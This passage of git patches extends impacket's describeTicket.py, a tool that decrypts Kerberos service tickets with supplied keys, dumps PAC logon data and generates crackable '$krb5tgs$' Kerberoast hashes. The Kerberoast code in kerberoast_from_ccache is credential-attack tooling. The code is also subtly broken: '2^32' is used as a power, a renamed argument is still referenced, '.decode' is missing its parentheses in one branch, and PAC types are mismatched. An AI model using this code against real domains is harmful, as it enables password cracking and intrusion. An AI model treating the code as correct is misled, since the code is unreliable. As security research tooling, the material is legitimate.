import crypto, constants, types import base64 +from binascii import unhexlify, hexlify +from pyasn1.codec.der import decoder +from impacket import LOG, version +from impacket.examples import logger +from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.krb5 import constants +from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT +from impacket.krb5.ccache import CCache +from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA + +def parse_ccache(args): + ccache = CCache.loadFile(args.ticket) + + principal = ccache.credentials[0].header['server'].prettyPrint() + creds = ccache.getCredential(principal.decode()) + TGS = creds.toTGS(principal) + decodedTGS = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] -def parse_ccache(ticketfile): - ccache = CCache.loadFile(ticketfile) for creds in ccache.credentials: logging.info("%-25s: %s" % ("UserName", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) logging.info("%-25s: %s" % ("UserRealm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) - logging.info("%-25s: %s" % ("ServiceName", creds['server'].prettyPrint().split(b'@')[0].decode('utf-8'))) + spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') + logging.info("%-25s: %s" % ("ServiceName", spn)) logging.info("%-25s: %s" % ("ServiceRealm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) logging.info("%-25s: %s" % ("StartTime", datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) logging.info("%-25s: %s" % ("EndTime", datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) logging.info("%-25s: %s" % ("RenewTill", datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) + flags = [] for k in constants.TicketFlags: if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: flags.append(constants.TicketFlags(k.value).name) logging.info("%-25s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) - logging.info("%-25s: %s" % ("KeyType", constants.EncryptionTypes(creds["key"]["keytype"]).name)) + keyType = constants.EncryptionTypes(creds["key"]["keytype"]).name + logging.info("%-25s: %s" % ("KeyType", keyType)) logging.info("%-25s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) + if spn.split('/')[0] != 'krbtgt': + logging.debug("Attempting to create Kerberoast hash") + # code adapted from Rubeus's DisplayTicket() (https://github.com/GhostPack/Rubeus/blob/3620814cd2c5f05e87cddd50211197bd932fec51/Rubeus/lib/LSA.cs) + # if this isn't a TGT, try to display a Kerberoastable hash + if keyType != "rc4_hmac" and keyType != "aes256_cts_hmac_sha1_96": + # can only display rc4_hmac ad it doesn't have a salt. DES/AES keys require the user/domain as a salt, and we don't have + # the user account name that backs the requested SPN for the ticket, no no dice :( + logging.debug("Service ticket uses encryption key type %s, unable to extract hash and salt" % keyType) + elif keyType == "rc4_hmac": + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTGS, spn = spn, username = args.user, domain = args.domain) + elif args.user: + if args.user.endswith("$"): + user = "host%s.%s" % (args.user.rstrip('$').lower(), args.domain.lower()) + else: + user = args.user + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTGS, spn = spn, username = user, domain = args.domain) + else: + logging.error("AES256 in use but no '-u/--user' passed, unable to generate crackable hash") + if kerberoast_hash: + logging.info("%-25s: %s" % ("Kerberoast hash", kerberoast_hash)) + + logging.debug("Handling Kerberos keys") + ekeys = generate_kerberos_keys(args) + # TODO : show message when decrypting ticket, unable to decrypt ticket if not enough arguments are given. Say what is missing + + # copypasta from krbrelayx.py + # Select the correct encryption key + etype = decodedTGS['ticket']['enc-part']['etype'] + try: + logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) + key = ekeys[etype] + logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) + # This raises a KeyError (pun intended) if our key is not found + except KeyError: + LOG.error('Could not find the correct encryption key! Ticket is encrypted with keytype %d, but keytype(s) %s were supplied', + decodedTGS['ticket']['enc-part']['etype'], + ', '.join([str(enctype) for enctype in ekeys.keys()])) + return None + + # Recover plaintext info from ticket + try: + cipherText = decodedTGS['ticket']['enc-part']['cipher'] + newCipher = _enctype_table[int(etype)] + plainText = newCipher.decrypt(key, 2, cipherText) + except InvalidChecksum: + logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') + if args.salt: + logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') + return + + logging.debug('Ticket successfully decrypted') + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] + # So here we have the PAC + pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + parse_pac(pacType) + + +def parse_pac(pacType): + buff = pacType['Buffers'] + + for bufferN in range(pacType['cBuffers']): + infoBuffer = PAC_INFO_BUFFER(buff) + data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']] + if logging.getLogger().level == logging.DEBUG: + print("TYPE 0x%x" % infoBuffer['ulType']) + if infoBuffer['ulType'] == 1: + type1 = TypeSerialization1(data) + # I'm skipping here 4 bytes with its the ReferentID for the pointer + newdata = data[len(type1) + 4:] + kerbdata = KERB_VALIDATION_INFO() + kerbdata.fromString(newdata) + kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) + # kerbdata.dump() + print() + print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) + print() + # elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: + # clientInfo = PAC_CLIENT_INFO(data) + # if logging.getLogger().level == logging.DEBUG: + # clientInfo.dump() + # print() + elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + if logging.getLogger().level == logging.DEBUG: + signatureData.dump() + print() + # elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: + # signatureData = PAC_SIGNATURE_DATA(data) + # if logging.getLogger().level == logging.DEBUG: + # signatureData.dump() + # print() + # elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: + # upn = UPN_DNS_INFO(data) + # if logging.getLogger().level == logging.DEBUG: + # upn.dump() + # print(data[upn['DnsDomainNameOffset']:]) + # print() + # else: + # hexdump(data) + + if logging.getLogger().level == logging.DEBUG: + print("#" * 80) + + buff = buff[len(infoBuffer):] + +def generate_kerberos_keys(args): + # copypasta from krbrelayx.py + # Store Kerberos keys + keys = {} + if args.hashes: + keys[int(constants.EncryptionTypes.rc4_hmac.value)] = unhexlify(args.hashes.split(':')[1]) + if args.aesKey: + if len(args.aesKey) == 64: + keys[int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value)] = unhexlify(args.aesKey) + else: + keys[int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value)] = unhexlify(args.aesKey) + ekeys = {} + for kt, key in keys.items(): + ekeys[kt] = Key(kt, key) + + allciphers = [ + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value) + ] + + # Calculate Kerberos keys from specified password/salt + if args.password or args.hexpass: + if not args.salt and args.user and args.domain: # https://www.thehacker.recipes/ad/movement/kerberos + if args.user.endswith('$'): + args.salt = "%shost%s.%s" % (args.domain.upper(), args.user.rstrip('$').lower(), args.domain.lower()) + else: + args.salt = "%s%s" % (args.domain.upper(), args.user) + for cipher in allciphers: + if cipher == 23 and args.hexpass: + # RC4 calculation is done manually for raw passwords + md4 = MD4.new() + md4.update(unhexlify(args.krbhexpass)) + ekeys[cipher] = Key(cipher, md4.digest().decode('utf-8')) + else: + # Do conversion magic for raw passwords + if args.hexpass: + rawsecret = unhexlify(args.krbhexpass).decode('utf-16-le', 'replace').encode('utf-8', 'replace') + else: + # If not raw, it was specified from the command line, assume it's not UTF-16 + rawsecret = args.password + ekeys[cipher] = string_to_key(cipher, rawsecret, args.salt) + logging.debug('Calculated type %s (%d) Kerberos key: %s' % (constants.EncryptionTypes(cipher).name, cipher, hexlify(ekeys[cipher].contents).decode('utf-8'))) + return ekeys + + +def kerberoast_from_ccache(decodedTGS, spn, username, domain): + try: + if not domain: + domain = decodedTGS['ticket']['realm'].upper() + else: + domain = domain.upper() + + if not username: + username = "USER" + + username = username.rstrip('$') + + # Copy-pasta from GestUserSPNs.py + if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.rc4_hmac.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: + entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % ( + constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode()) + elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value: + entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( + constants.EncryptionTypes.des_cbc_md5.value, username, domain, spn.replace(':', '~'), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(), + hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode()) + else: + logging.debug('Skipping %s/%s due to incompatible e-type %d' % ( + decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], + decodedTGS['ticket']['enc-part']['etype'])) + return entry + except Exception as e: + logging.debug("Not able to parse ticket: %s" % e) + def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Ticket describor') @@ -61,14 +262,14 @@ def parse_args(): parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') # Authentication arguments - group = parser.add_argument_group('Kerberos Keys (of your account with unconstrained delegation)') - group.add_argument('-p', '--krbpass', action="store", metavar="PASSWORD", help='Account password') - group.add_argument('-hp', '--krbhexpass', action="store", metavar="HEXPASSWORD", help='Hex-encoded password') - group.add_argument('-s', '--krbsalt', action="store", metavar="USERNAME", help='Case sensitive (!) salt. Used to calculate Kerberos keys.' - 'Only required if specifying password instead of keys.') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') + group = parser.add_argument_group('Some account information') + group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='placeholder') + group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="PASSWORD", help='placeholder') + group.add_argument('-u', '--user', action="store", metavar="USER", help='placeholder') # used for kerberoast_from_ccache() + group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='placeholder') # used for kerberoast_from_ccache() + group.add_argument('-s', '--salt', action="store", metavar="SALT", help='placeholder') + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='placeholder') + group.add_argument('-aesKey', action="store", metavar="hex key", help='placeholder') if len(sys.argv) == 1: parser.print_help() sys.exit(1) @@ -95,7 +296,7 @@ def main(): init_logger(args) try: - parse_ccache(args.ticket) + parse_ccache(args) except Exception as e: if logging.getLogger().level == logging.DEBUG: traceback.print_exc() From 386e50fb20ccd071c0a99499b793bb25a7f6a284 Mon Sep 17 00:00:00 2001 From: Podalirius <79218792+p0dalirius@users.noreply.github.com> Date: Wed, 27 Oct 2021 01:16:00 +0200 Subject: [PATCH 009/163] Update describeTicket.py --- examples/describeTicket.py | 192 ++++++++++++++++++++++++++++--------- 1 file changed, 148 insertions(+), 44 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 4ff467f6f..1c4342716 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -14,12 +14,14 @@ # Remi Gascou (@podalirius_) # Charlie Bromberg (@_nwodtuhs) +import json import logging import sys import traceback import argparse +import binascii from Cryptodome.Hash import MD4 -from datetime import datetime +import datetime import base64 from binascii import unhexlify, hexlify from pyasn1.codec.der import decoder @@ -30,7 +32,8 @@ from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO + def parse_ccache(args): ccache = CCache.loadFile(args.ticket) @@ -46,9 +49,9 @@ def parse_ccache(args): spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') logging.info("%-25s: %s" % ("ServiceName", spn)) logging.info("%-25s: %s" % ("ServiceRealm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) - logging.info("%-25s: %s" % ("StartTime", datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) - logging.info("%-25s: %s" % ("EndTime", datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) - logging.info("%-25s: %s" % ("RenewTill", datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("StartTime", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("EndTime", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%H:%S %p"))) + logging.info("%-25s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%H:%S %p"))) flags = [] for k in constants.TicketFlags: @@ -115,56 +118,158 @@ def parse_ccache(args): adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) - parse_pac(pacType) + parsed_pac = parse_pac(pacType) + logging.info(" %-23s:" % ("LogonInfo")) + logging.info(" %-21s: %s" % ("LogonTime", parsed_pac[0]["LogonTime"])) + logging.info(" %-21s: %s" % ("LogoffTime", parsed_pac[0]["LogoffTime"])) + logging.info(" %-21s: %s" % ("KickOffTime", parsed_pac[0]["KickOffTime"])) + logging.info(" %-21s: %s" % ("PasswordLastSet", parsed_pac[0]["PasswordLastSet"])) + logging.info(" %-21s: %s" % ("PasswordCanChange", parsed_pac[0]["PasswordCanChange"])) + logging.info(" %-21s: %s" % ("PasswordMustChange", parsed_pac[0]["PasswordMustChange"])) + logging.info(" %-21s: %s" % ("EffectiveName", parsed_pac[0]["EffectiveName"])) + logging.info(" %-21s: %s" % ("FullName", parsed_pac[0]["FullName"])) + logging.info(" %-21s: %s" % ("LogonScript", parsed_pac[0]["LogonScript"])) + logging.info(" %-21s: %s" % ("ProfilePath", parsed_pac[0]["ProfilePath"])) + logging.info(" %-21s: %s" % ("HomeDirectory", parsed_pac[0]["HomeDirectory"])) + logging.info(" %-21s: %s" % ("HomeDirectoryDrive", parsed_pac[0]["HomeDirectoryDrive"])) + logging.info(" %-21s: %s" % ("LogonCount", parsed_pac[0]["LogonCount"])) + logging.info(" %-21s: %s" % ("BadPasswordCount", parsed_pac[0]["BadPasswordCount"])) + logging.info(" %-21s: %s" % ("UserId", parsed_pac[0]["UserId"])) + logging.info(" %-21s: %s" % ("PrimaryGroupId", parsed_pac[0]["PrimaryGroupId"])) + logging.info(" %-21s: %s" % ("GroupCount", parsed_pac[0]["GroupCount"])) + logging.info(" %-21s: %s" % ("Groups", ', '.join([str(gid['RelativeId']) for gid in parsed_pac[0]["GroupIds"]]))) + logging.info(" %-21s: %s" % ("UserFlags", parsed_pac[0]["UserFlags"])) + logging.info(" %-21s: %s" % ("UserSessionKey", parsed_pac[0]["UserSessionKey"])) + logging.info(" %-21s: %s" % ("LogonServer", parsed_pac[0]["LogonServer"])) + logging.info(" %-21s: %s" % ("LogonDomainName", parsed_pac[0]["LogonDomainName"])) + logging.info(" %-21s: %s" % ("LogonDomainId", parsed_pac[0]["LogonDomainId"])) + # Todo parse UserAccountControl + logging.info(" %-21s: %s" % ("UserAccountControl", parsed_pac[0]["UserAccountControl"])) + logging.info(" %-21s: %s" % ("ExtraSIDs", ', '.join([sid for sid in parsed_pac[0]["ExtraSids"]]))) + logging.info(" %-21s: %s" % ("ResourceGroupCount", parsed_pac[0]["ResourceGroupCount"])) def parse_pac(pacType): + def format_sid(data): + return "S-%d-%d-%d-%s" % (data['Revision'], data['IdentifierAuthority'], data['SubAuthorityCount'], '-'.join([str(e) for e in data['SubAuthority']])) + def PACinfiniteData(obj): + while 'fields' in dir(obj): + if 'Data' in obj.fields.keys(): + obj = obj.fields['Data'] + else: + return obj.fields + return obj + def PACparseFILETIME(data): + # FILETIME structure (minwinbase.h) + # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). + # https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime + v_ticks = PACinfiniteData(data['dwLowDateTime']) + 2^32 * PACinfiniteData(data['dwHighDateTime']) + v_FILETIME = datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(seconds=v_ticks/ 1e7) + return v_FILETIME + def PACparseGroupIds(data): + groups = [] + for group in PACinfiniteData(data): + groupMembership = {} + groupMembership['RelativeId'] = PACinfiniteData(group.fields['RelativeId']) + groupMembership['Attributes'] = PACinfiniteData(group.fields['Attributes']) + groups.append(groupMembership) + return groups + def PACparseSID(sid): + str_sid = format_sid({ + 'Revision': PACinfiniteData(sid['Revision']), + 'SubAuthorityCount': PACinfiniteData(sid['SubAuthorityCount']), + 'IdentifierAuthority': int(binascii.hexlify(PACinfiniteData(sid['IdentifierAuthority'])), 16), + 'SubAuthority': PACinfiniteData(sid['SubAuthority']) + }) + return str_sid + def PACparseExtraSids(data): + _ExtraSids = [] + for sid in PACinfiniteData(PACinfiniteData(data.fields)['Data']): + _d = { 'Attributes': PACinfiniteData(sid.fields['Attributes']), 'Sid': PACparseSID(sid.fields['Sid']) } + _ExtraSids.append(_d['Sid']) + return _ExtraSids + def PACparseResourceGroupDomainSid(data): + data = { + 'Revision': PACinfiniteData(data['Revision']), + 'SubAuthorityCount': PACinfiniteData(data['SubAuthorityCount']), + 'IdentifierAuthority': int(binascii.hexlify(data['IdentifierAuthority']), 16), + 'SubAuthority': PACinfiniteData(data['SubAuthority']) + } + return data + # + parsed_tuPAC = [] + # buff = pacType['Buffers'] - + infoBuffer = PAC_INFO_BUFFER(buff) for bufferN in range(pacType['cBuffers']): - infoBuffer = PAC_INFO_BUFFER(buff) - data = pacType['Buffers'][infoBuffer['Offset'] - 8:][:infoBuffer['cbBufferSize']] - if logging.getLogger().level == logging.DEBUG: - print("TYPE 0x%x" % infoBuffer['ulType']) - if infoBuffer['ulType'] == 1: + data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] + if infoBuffer['ulType'] == PAC_LOGON_INFO: type1 = TypeSerialization1(data) - # I'm skipping here 4 bytes with its the ReferentID for the pointer - newdata = data[len(type1) + 4:] + newdata = data[len(type1)+4:] kerbdata = KERB_VALIDATION_INFO() kerbdata.fromString(newdata) kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) - # kerbdata.dump() - print() - print('Domain SID:', kerbdata['LogonDomainId'].formatCanonical()) - print() - # elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: - # clientInfo = PAC_CLIENT_INFO(data) - # if logging.getLogger().level == logging.DEBUG: - # clientInfo.dump() - # print() + parsed_data = {} + + parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') + parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') + parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') + parsed_data['ProfilePath'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') + parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') + parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') + parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) + parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) + parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) + parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) + parsed_data['UserFlags'] = PACinfiniteData(kerbdata.fields['UserFlags']) + parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') + parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') + parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') + parsed_data['LogonDomainId'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) + parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') + parsed_data['UserAccountControl'] = PACinfiniteData(kerbdata.fields['UserAccountControl']) + parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) + parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) + parsed_data['LogonTime'] = PACparseFILETIME(kerbdata.fields['LogonTime']) + parsed_data['LogoffTime'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) + parsed_data['KickOffTime'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) + parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) + parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) + parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) + parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) + parsed_data['GroupIds'] = PACparseGroupIds(kerbdata.fields['GroupIds']) + parsed_data['SidCount'] = PACinfiniteData(kerbdata.fields['SidCount']) + parsed_data['ExtraSids'] = PACparseExtraSids(kerbdata.fields['ExtraSids']) + parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) + parsed_data['ResourceGroupCount'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) + parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) + + parsed_tuPAC.append(parsed_data) + elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: + type1 = TypeSerialization1(data) + # TODO: Not implemented + print(dir(type1)) + pass elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: + clientInfo = PAC_CLIENT_INFO(data) + # TODO: Not implemented + print(dir(clientInfo)) + pass + elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: signatureData = PAC_SIGNATURE_DATA(data) - if logging.getLogger().level == logging.DEBUG: - signatureData.dump() - print() - # elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: - # signatureData = PAC_SIGNATURE_DATA(data) - # if logging.getLogger().level == logging.DEBUG: - # signatureData.dump() - # print() - # elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: - # upn = UPN_DNS_INFO(data) - # if logging.getLogger().level == logging.DEBUG: - # upn.dump() - # print(data[upn['DnsDomainNameOffset']:]) - # print() - # else: - # hexdump(data) - - if logging.getLogger().level == logging.DEBUG: - print("#" * 80) + # TODO: Not implemented + print(dir(signatureData)) + pass + elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: + upn = UPN_DNS_INFO(data) + # TODO: Not implemented + print(dir(upn)) + pass + return parsed_tuPAC - buff = buff[len(infoBuffer):] def generate_kerberos_keys(args): # copypasta from krbrelayx.py @@ -304,4 +409,3 @@ def main(): if __name__ == '__main__': main() - From ad5b10ca5e4a1e1d18d5bbd7aef232fda693318b Mon Sep 17 00:00:00 2001 From: Shutdown Date: Thu, 28 Oct 2021 13:18:50 +0200 Subject: [PATCH 010/163] Added PAC structures --- examples/describeTicket.py | 171 ++++++++++++++++++++++++------------- 1 file changed, 110 insertions(+), 61 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 1c4342716..6a2423a0f 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -24,6 +24,8 @@ import datetime import base64 from binascii import unhexlify, hexlify + +from impacket.krb5.constants import ChecksumTypes from pyasn1.codec.der import decoder from impacket import LOG, version from impacket.examples import logger @@ -32,7 +34,8 @@ from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT from impacket.krb5.ccache import CCache from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key -from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_LOGON_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ + PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO, PAC_CREDENTIALS_INFO, PAC_DELEGATION_INFO, S4U_DELEGATION_INFO def parse_ccache(args): @@ -118,35 +121,54 @@ def parse_ccache(args): adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] # So here we have the PAC pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + # TODO : cycle through dict instead of line by line? Filter on type, if it list, for parsed_pac['LogonInfo']["GroupIds"] & parsed_pac['LogonInfo']["ExtraSids"] parsed_pac = parse_pac(pacType) logging.info(" %-23s:" % ("LogonInfo")) - logging.info(" %-21s: %s" % ("LogonTime", parsed_pac[0]["LogonTime"])) - logging.info(" %-21s: %s" % ("LogoffTime", parsed_pac[0]["LogoffTime"])) - logging.info(" %-21s: %s" % ("KickOffTime", parsed_pac[0]["KickOffTime"])) - logging.info(" %-21s: %s" % ("PasswordLastSet", parsed_pac[0]["PasswordLastSet"])) - logging.info(" %-21s: %s" % ("PasswordCanChange", parsed_pac[0]["PasswordCanChange"])) - logging.info(" %-21s: %s" % ("PasswordMustChange", parsed_pac[0]["PasswordMustChange"])) - logging.info(" %-21s: %s" % ("EffectiveName", parsed_pac[0]["EffectiveName"])) - logging.info(" %-21s: %s" % ("FullName", parsed_pac[0]["FullName"])) - logging.info(" %-21s: %s" % ("LogonScript", parsed_pac[0]["LogonScript"])) - logging.info(" %-21s: %s" % ("ProfilePath", parsed_pac[0]["ProfilePath"])) - logging.info(" %-21s: %s" % ("HomeDirectory", parsed_pac[0]["HomeDirectory"])) - logging.info(" %-21s: %s" % ("HomeDirectoryDrive", parsed_pac[0]["HomeDirectoryDrive"])) - logging.info(" %-21s: %s" % ("LogonCount", parsed_pac[0]["LogonCount"])) - logging.info(" %-21s: %s" % ("BadPasswordCount", parsed_pac[0]["BadPasswordCount"])) - logging.info(" %-21s: %s" % ("UserId", parsed_pac[0]["UserId"])) - logging.info(" %-21s: %s" % ("PrimaryGroupId", parsed_pac[0]["PrimaryGroupId"])) - logging.info(" %-21s: %s" % ("GroupCount", parsed_pac[0]["GroupCount"])) - logging.info(" %-21s: %s" % ("Groups", ', '.join([str(gid['RelativeId']) for gid in 